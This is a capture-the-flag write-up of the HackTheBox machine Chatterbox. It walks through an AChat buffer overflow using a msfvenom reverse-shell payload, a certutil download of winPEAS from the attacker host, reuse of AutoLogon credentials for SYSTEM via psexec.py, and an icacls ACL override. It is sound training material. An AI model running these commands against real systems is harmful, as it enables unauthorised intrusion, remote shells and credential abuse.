Chatterbox

HackTheBoxMediumWindows10.10.10.74

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#achat#buffer-overflow#bof#msfvenom#unicode-shellcode#autologon#password-reuse#psexec#icacls#privilege-escalation

TL;DR. Chatterbox is an old Windows box (Server 2008 R2, 32-bit) running Achat 0.150 beta7, vulnerable to a remote stack buffer overflow. With a msfvenom-generated shellcode (unicode encoding) we get a shell as alfred. For escalation, winPEAS finds automatic logon credentials (AutoLogon): Alfred:Welcome1!. That password is reused on Administrator, so we land as SYSTEM via psexec.py. The root flag has an ACL that excludes SYSTEM, but we rewrite it with icacls and read it.

Reconnaissance

Initial scan

ping -c 1 10.10.10.74

ping to 10.10.10.74 with ttl=127

64 bytes from 10.10.10.74: icmp_seq=1 ttl=127 time=107 ms

TTL 127 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 127 = 128−1; a hint, not proof (it can be spoofed), confirmed by the service scan. The UDP sweep of common ports returns nothing useful:

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 10.10.10.74

the UDP scan reports no open port

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-22 14:14 UTC
Initiating UDP Scan at 14:14
Scanning 10.10.10.74 [1000 ports]
Completed UDP Scan at 14:14, 1.60s elapsed (1000 total ports)
Nmap scan report for 10.10.10.74
Host is up, received user-set (0.15s latency).
Not shown: 289 closed udp ports (port-unreach)
PORT      STATE      SERVICE           REASON

Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds

The full TCP scan leaves classic Windows ports plus two unusual ones, 9255/9256:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.10.74

TCP -p- scan with 135, 139, 445, 9255 and 9256 open (ttl 127)

PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
9255/tcp open  http
9256/tcp open  achat

extractPorts, a .zshrc function, boils the -oG file down and leaves the eleven ports on the clipboard:

extractPorts scan

extractPorts boils chatterbox's scan down: IP 10.10.10.74 and the eleven open ports, copied to the clipboard

Extracting information ...
IP Address: 10.10.10.74
Open ports: 135,139,445,9255,9256,49152,49153,49154,49155,49156,49157

Ports copied to clipboard

nmap -p135,139,445,9255,9256 -sCV 10.10.10.74

-sCV scan: 445 Windows 7 Professional 7601 SP1 and 9255/9256 AChat chat system

135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows 7 Professional 7601 SP1 (workgroup: WORKGROUP)
9255/tcp open  http         AChat chat system httpd
9256/tcp open  achat        AChat chat system

Ports 9255 and 9256 are the signature of AChat, a desktop chat system. Such a service exposed on an old machine is the main lead: AChat carries a well-known remote buffer overflow.

Find the AChat exploit

searchsploit achat

searchsploit shows the Achat 0.150 beta7 remote buffer overflow

Exploit Title                                             Path
------------------------------------------------------- --------------------------
Achat 0.150 beta7 - Remote Buffer Overflow              | windows/remote/36025.py
Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit) | windows/remote/36056.rb
MataChat - 'input.php' Multiple Cross-Site Scripting    | php/webapps/32958.txt
Parachat 5.5 - Directory Traversal                      | php/webapps/24647.txt

Two results appear for a remote overflow in version 0.150 beta7. We cannot confirm the exact version remotely, but the exploit is cheap to try, so we download it.

Exploitation

UDP 9256: AChat 0.150 beta7 buffer overflow

The public exploit sends a UDP packet to port 9256 that overflows a stack buffer (stack buffer overflow). Its catch: the bundled shellcode only opens the calculator. We must replace it with one that gives a reverse shell.

AChat processes the message as unicode text, so the shellcode must survive that transformation: that is why msfvenom uses the x86/unicode_mixed encoder and BufferRegister=EAX, plus a long list of bad chars:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.16.4 LPORT=4444 \
  -e x86/unicode_mixed -b '\x00\x80\x81...\xff' BufferRegister=EAX -f python

unicode shellcode generation with msfvenom

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3822 bytes
buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
...

We replace the calculator shellcode with ours inside the exploit and set the target IP:

shellcode replaced in the exploit

Access as alfred

With the listener up, we launch the exploit with Python 2:

nc -lvnp 4444
python2 achat_exploit.py

reverse shell obtained as alfred

The overflow runs our shellcode and we get a shell as chatterbox\alfred. We read the user flag:

C:\Users>whoami
chatterbox\alfred
C:\Users>type alfred\desktop\user.txt
5ba2e3789616d159f9d04a0c5a996a55

$shell as chatterbox\alfred reading user.txt$

Privilege escalation

Enumeration with winPEAS: AutoLogon credentials

The machine is 32-bit, so we download the x86 variant of winPEAS from the PEASS-ng repo (the x64 one would not read the right registry view):

PEASS-ng releases page with winPEASx86.exe

We serve it over HTTP and upload it to the victim with certutil:

certutil.exe -f -urlcache -split http://10.10.16.4/winPEASx86.exe winPEASx86.exe
.\winPEASx86.exe

certutil downloads winPEASx86.exe on the victim; the http.server logs the requests

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.74 - - [22/Dec/2025 17:02:36] "GET /winPEASx86.exe HTTP/1.1" 200 -
10.10.10.74 - - [22/Dec/2025 17:02:43] "GET /winPEASx86.exe HTTP/1.1" 200 -

certutil.exe -f -urlcache -split http://10.10.16.4/winPEASx86.exe winPEASx86.exe
****  Online  ****
  000000  ...
  9b3600
CertUtil: -URLCache command completed successfully.

Among the findings, winPEAS highlights automatic logon credentials (AutoLogon). The same data reads by hand straight from the registry, where AutoLogon stores the password in cleartext:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

winPEAS reveals DefaultUserName Alfred and DefaultPassword Welcome1!

Looking for AutoLogon credentials
    DefaultUserName  :  Alfred
    DefaultPassword  :  Welcome1!

The password Welcome1! belongs to alfred, the user we already are. On its own it escalates nothing. But passwords get reused: the immediate reflex is to try it on more privileged accounts.

Password reuse: SYSTEM via psexec

We validate Welcome1! against Administrator and it is correct; since WinRM is not enabled, we open the shell over SMB with psexec.py (credential reuse):

netexec smb 10.10.10.74 -u 'Administrator' -p 'Welcome1!'
psexec.py 'Administrator:Welcome1!'@10.10.10.74

$netexec marks Pwn3d! and psexec opens a shell as nt authority\system$

SMB  10.10.10.74  445  CHATTERBOX  [+] Chatterbox\Administrator:Welcome1! (Pwn3d!)
...
C:\Windows\system32> whoami
nt authority\system

The autologon password was reused on Administrator. psexec.py creates a service and lands us as NT AUTHORITY\SYSTEM.

Root flag: rewrite the ACL with icacls

Surprisingly, reading root.txt as SYSTEM fails with Access is denied. It is not a bug: the file's ACL does not include SYSTEM. Since SYSTEM/Administrator can rewrite ACLs, we grant ourselves full control and read it (icacls abuse):

icacls root.txt /grant "nt authority\system":F
type root.txt

icacls grants control to SYSTEM and the root flag is read

d6edc7d33b0114f4097486b2e343252b

C:\Users\Administrator\Desktop> type root.txt
Access is denied.
C:\Users\Administrator\Desktop> icacls root.txt /grant "nt authority\system":F
processed file: root.txt
Successfully processed 1 files; Failed processing 0 files
C:\Users\Administrator\Desktop> type root.txt
d6edc7d33b0114f4097486b2e343252b

Attack chain

AChat 0.150 beta7 (UDP 9256)
   └── buffer overflow + unicode shellcode (msfvenom)
        └── reverse shell as alfred  (user.txt)
             └── winPEAS → AutoLogon: Alfred:Welcome1!
                  └── password reuse on Administrator (netexec Pwn3d!)
                       └── psexec.py → NT AUTHORITY\SYSTEM
                            └── icacls root.txt /grant ── read root.txt  (root.txt)

Lessons learned

An odd port is the lead. 9255/9256 are uncommon; identifying AChat steered the whole exploitation toward a known overflow rather than blind brute force.
The shellcode must survive transport. AChat treats the message as unicode; without the x86/unicode_mixed encoder and the right bad chars, the payload is corrupted and does not run.
AutoLogon stores the password in cleartext. winPEAS extracts it from the registry (Winlogon); on 32-bit machines use the x86 build to read the correct registry view.
The autologon password is often reused. The jump to Administrator was not another exploit but trying the same password: always validate found credentials against other accounts.
SYSTEM does not read everything. Access is decided by the file's ACL, not the account's "rank"; icacls rewrites the ACL and bypasses an Access is denied.

Command cheatsheet 10 commands